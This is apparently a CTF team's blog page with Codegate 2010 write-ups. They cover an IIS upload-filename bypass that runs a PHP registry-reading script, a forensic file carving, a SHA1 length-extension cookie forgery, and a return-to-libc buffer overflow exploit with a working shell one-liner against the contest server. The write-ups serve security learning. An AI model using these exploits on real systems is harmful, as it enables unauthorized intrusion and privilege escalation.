Codegate 2010 Challenge 11 writeup

March 18, 2010 by Hiếu Lê · 7 Comments 

Summary

http://ctf6.codegate.org/31337_/index.html

Get a value of HKLM\Software\codegate2010, it’s the flag.

Analysis

At first when accessing the url, it shows up a page allow you to upload a jpeg image and only .jpg files. As I noticed, it serves by IIS. Suddenly, I remember of the vulnerability of IIS in processing image files. A little bit google show me the result. Ah ha, let’s test it by uploading a php file likes “test.php;.jpg”. Incredible!

Now, the only thing we have to do is writing some lines of php to read the REG key.

regprint.php;.jpg
<?
$shell = new COM("WScript.Shell") or die("Requires Windows Scripting Host");
$devenvpath=$shell->RegRead("HKEY_LOCAL_MACHINE\\SOFTWARE\\codegate2010");
echo $devenvpath
?>

Then, execute it by  http://ctf6.codegate.org/31337_/upload/regprint.php;.jpg

LollerSkaterz_From_RoflCopters_With_Guinness

Easy game with 1200 point.

Vulnerability

In facts, after the game thaidn said that it’s a fault of deploying the challenge, it’s designed to be passed by a 0-day of core php.

References

Share and Enjoy:
  • Digg
  • del.icio.us
  • Facebook
  • Google Bookmarks
  • Add to favorites
  • Reddit
  • Technorati
  • Tumblr
  • Twitter
  • Slashdot
  • Identi.ca

Codegate 2010 Challenge 12 writeup

March 18, 2010 by Hiếu Lê · 2 Comments 

Summary

  • Problem: Finding the key in one raw-data-file – forensic challenge
  • Techniques: Using foremost to extract data
  • Solution: Just extract data and it’s done

Analysis

After downloading the file, let’s skim over.

$ file 514985D4E9D80D8BF227859C679BFB32 514985D4E9D80D8BF227859C679BFB32: CDF V2 Document, Little Endian, Os: Windows, Version 6.1, Code page: 949, Title: Chzcxva Pneivat Znqr Rnfl, Author: Flfnqzva, Template: Normal.dotm, Last Saved By: FRETR INHQRANL, Revision Number: 12, Name of Creating Application: Microsoft Office Word, Total Editing Time: 21:00, Create Time/Date: Mon Feb 22 12:48:00 2010, Last Saved Time/Date: Thu Mar 4 13:54:00 2010, Number of Pages: 7, Number of Words: 1381, Number of Characters: 7876, Security: 0

$ ls -l 514985D4E9D80D8BF227859C679BFB32

-rw-r–r– 1 hieuln hieuln 867328 2010-03-13 21:18 514985D4E9D80D8BF227859C679BFB32

Of course, it’s not CDF document. So, the general step is using foremost to extract inside-data.

$ foremost -c /etc/foremost.conf -v -o out 14985D4E9D80D8BF227859C679BFB32

It got a lot of stuffs. Let’s browsing images file first. I noticed there’s a small image named “00000041.tif” looks like a captcha. Try with that phrase and it is the right key “E5R69267″.

Sad, really upset. That’s such a bad challenge with 300 points. And I can’t imagine that CLGT is the 3rd team submit this flag, it’s the end of first day.

References

Share and Enjoy:
  • Digg
  • del.icio.us
  • Facebook
  • Google Bookmarks
  • Add to favorites
  • Reddit
  • Technorati
  • Tumblr
  • Twitter
  • Slashdot
  • Identi.ca

CodeGate 2010 Challenge 15 – SHA1 padding attack

March 16, 2010 by RD · 13 Comments 

Summary

This is a web based crypto challenge vulnerable to padding/length extension attack in its sha1 based authentication scheme.

Analysis

Challenge URL: http://ctf1.codegate.org/03c1e338b6445c0f127319f5cb69920a/web1.php

This page will ask for submitting a username for the first time. Once a username is submited ( ‘aaaa’ for example), the script will set a cookie as the following:

web1_auth = YWFhYXwx|8f5c14cc7c1cd461f35b190af57927d1c377997e

The first part YWFhYXwx is the base64 encoded string of ‘aaaa|1′ (username|role). The second part 8f5c14cc7c1cd461f35b190af57927d1c377997e is the sha1(unknown_secretkey + username + role).

In the next visit, the web1.php script will check for the cookie and return the following message

“Welcome back, aaaa! You are not the administrator.”

We can guest that 1 is the role value for normal user and 0 for administrator.

Solution

If we try to modify to first part of the web1_auth cookie to something like base64_encode(’aaaa|0′), the script will return an error message saying that the data has been tampered due to the wrong signature.

As we know that popular hash functions including sha1 are vulnerable to length extension (or padding) attacks. This can be used to break naive authentication schemes based on hash functions.

I will not write the detail on how to do sha1 length extension attack, you can read papers in the References section below for more information. Basically, with padding attack, we can append arbitrary data to the cookie and generate a valid signature for it without knowing the secret key. In this challenge, we want to have ‘|0′ (administrator role) at the end of the first part of the cookie.

$ python sha-padding.py
usage: sha-padding.py <keylen> <original_message> <original_signature> <text_to_append>

$ python sha-padding.py 25 ‘aaaa|1′ 8f5c14cc7c1cd461f35b190af57927d1c377997e ‘|0′
new msg: ‘aaaa|1\x80\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00
\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\xf8|0′
base64: YWFhYXwxgAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAD4fDA=
new sig: 70f8bf57aa6d7faaa70ef17e763ef2578cb8d839

And here is what we got with the web1_auth cookie using YWFhYXwxgAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAD4fDA= and signature 70f8bf57aa6d7faaa70ef17e763ef2578cb8d839

Welcome back, aaaa! Congratulations! You did it! Here is your flag: CryptoNinjaCertified!!!!!

Source Codes

References

Keywords: sha1, padding, length extension attack, codegate 2010

Share and Enjoy:
  • Digg
  • del.icio.us
  • Facebook
  • Google Bookmarks
  • Add to favorites
  • Reddit
  • Technorati
  • Tumblr
  • Twitter
  • Slashdot
  • Identi.ca

Codegate 2010 online CTF – Challenge 4 & 5 writeup

March 16, 2010 by longld · 17 Comments 

Summary

Challenge 4 has a basic buffer overflow vulnerability running on modern Ubuntu Linux with ASLR. Challenge 5 shares the same code as Challenge 4 but added NX protection to make it harder. In challenge 4 we use ret2eax to by pass ASLR and return-to-libc technique to bypass NX in challenge 5 with brute-forcing for execl() libc address. We had to access to the server (hijack account of Challenge #2) to search for execl() address, it’s weakness of our solution for challenge 5.

Analysis

Challenge 4 information:

credentials: ctf4.codegate.org 9000
BINARY FILE:  http://ctf.codegate.org/files____/easy

Challenge 5 information:

credentials: ctf4.codegate.org 9001
BINARY FILE:  http://ctf.codegate.org/files____/harder

Both “easy” and  “harder” share the same code which looks like below:

int __cdecl main()
{
 size_t n; // [sp+18h] [bp-8h]@1
 char *lineptr; // [sp+1Ch] [bp-4h]@1

 lineptr = 0;
 printf("Input: ");
 fflush(0);
 getline(&lineptr, &n, stdin);
 func(lineptr, n);
 return puts("\nThanks. Goodbye");
}

void *__cdecl func(const void *src, size_t n)
{
 char dest[264]; // [sp+10h] [bp-108h]@1
 return memcpy(dest, src, n);
}

The traditional BOF at memcpy() in func() with 272 bytes allows us to overwrite the saved EIP to control program execution. Exploit for “easy” is obvious, you can find a writeup here, remain of this post will talk about Challenge 5.

The problem for exploiting ‘harder’ is to bypass:

  • ASLR
  • NX protection

We will use return-to-libc technique to overcome that.

Solution/Exploit

In order to exploit the “harder” we have to:

  • Locate address of execl() function in libc
  • Locate address of “/bin/sh” somewhere in memory
  • Arrange stack to call execl(”/bin/sh”, …) when return from func()

Locate address of execl()

Based on our experience in Padocon 2010 pre-qual, we know that random mmap library address will repeat after several run.

$ gdb harder
(gdb) start
Temporary breakpoint 1, 0x0804850e in main ()
(gdb) p execl
$1 = {<text variable, no debug info>} 0x1a70c0 <execl>
(gdb) quit

Locate address of “/bin/sh”

There’s several way to find “/bin/sh” pointer according to other contestants discussed in #codegate IRC:

  • Find “/bin/sh” address in RO_DATA of libc
  • Put “/bin/sh” in our input buffer then find stack address that points to it (address of “dest” in func())
  • Put “/bin/sh” in our input buffer then re-use “*lineptr” (already point to our buffer) remain in stack. This is our method.

Let examine the stack when we’re in func():

(gdb) disass func
Dump of assembler code for function func:
0x080484e4 <func+0>:    push   ebp
0x080484e5 <func+1>:    mov    ebp,esp
0x080484e7 <func+3>:    sub    esp,0x118
0x080484ed <func+9>:    mov    eax,DWORD PTR [ebp+0xc]      <-- n
0x080484f0 <func+12>:   mov    DWORD PTR [esp+0x8],eax
0x080484f4 <func+16>:   mov    eax,DWORD PTR [ebp+0x8]      <-- src's address (*lineptr)
0x080484f7 <func+19>:   mov    DWORD PTR [esp+0x4],eax
0x080484fb <func+23>:   lea    eax,[ebp-0x108]              <-- dest's address
0x08048501 <func+29>:   mov    DWORD PTR [esp],eax
0x08048504 <func+32>:   call   0x80483f8 <memcpy@plt>
0x08048509 <func+37>:   leave
0x0804850a <func+38>:   ret
End of assembler dump.

(gdb) b *0x08048504
Breakpoint 1 at 0x8048504
(gdb) r
Starting program: /tmp/harder
Input: AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA

Breakpoint 1, 0x08048504 in func ()
(gdb) x/20x $ebp
0xbffff738:     0xbffff768      0x08048568      0x0804b008      0x00000078
                                                [*lineptr] (2)
0xbffff748:     0x00d5b420      0xbffff768      0x00c49345      0x006c2d20
0xbffff758:     0x00000078      0x0804b008      0x08048590      0x00000000
                                [*lineptr] (1)  [garbage str]
0xbffff768:     0xbffff7e8      0x00c30b56      0x00000001      0xbffff814
0xbffff778:     0xbffff81c      0xb7fff858      0xbffff7d0      0xffffffff

(gdb) x/8x 0x0804b008
0x804b008:      0x41414141      0x41414141      0x41414141      0x41414141
0x804b018:      0x41414141      0x41414141      0x41414141      0x41414141

Address of *lineptr is 0×0804b008 which point to our buffer. There’s two instances of *lineptr address on stack: (1) returned from getline(), (2) placed before calling func(). The (2) address is useless because it’s next to ret, the (1) address with next 2 addresses 0×08048590, 0×00000000 is perfect for execl(). What we need to do is lift the esp to correct address with few ret.

Arrange buffer & stack

With all the things above, we can craft our buffer as below:

["/bin/sh" | padding | ret*6 | execl() | "\n"]

This will result on stack when return from func():

[ret*6 | execl() | 0xdeadbeef | "/bin/sh" | "garbage string" | 0 ]

Exploit

while true; do
 (python -c 'print "/bin/sh\x00" + "A"*260 + "\x75\x85\x04\x08"*6 + "\xc0\x70\x1a\x00" + "\n"'; cat) | nc ctf4.codegate.org 9001
done
Input:
Input:
Input:

id
uid=1004(harder) gid=1004(harder)
cat /home/harder/flag.txt
e2e4cb6adc9cd761dcde774f84529591  -

References

Keywords: return-to-libc, aslr, esp lifting, codegate 2010

Share and Enjoy:
  • Digg
  • del.icio.us
  • Facebook
  • Google Bookmarks
  • Add to favorites
  • Reddit
  • Technorati
  • Tumblr
  • Twitter
  • Slashdot
  • Identi.ca

We got 2nd place at CodeGate 2010 Prequal

March 16, 2010 by admin · 3 Comments 

Just a quick post to announce that our CLGT CTF team has finished 2nd place at CodeGate 2010 Capture the Flag Prequal. It was a nice game with some very interesting challenges.

The final ranking could be found here

CodeGate 2010 prequal ranking

We will post our write up on our blog soon.

Share and Enjoy:
  • Digg
  • del.icio.us
  • Facebook
  • Google Bookmarks
  • Add to favorites
  • Reddit
  • Technorati
  • Tumblr
  • Twitter
  • Slashdot
  • Identi.ca

« Previous Page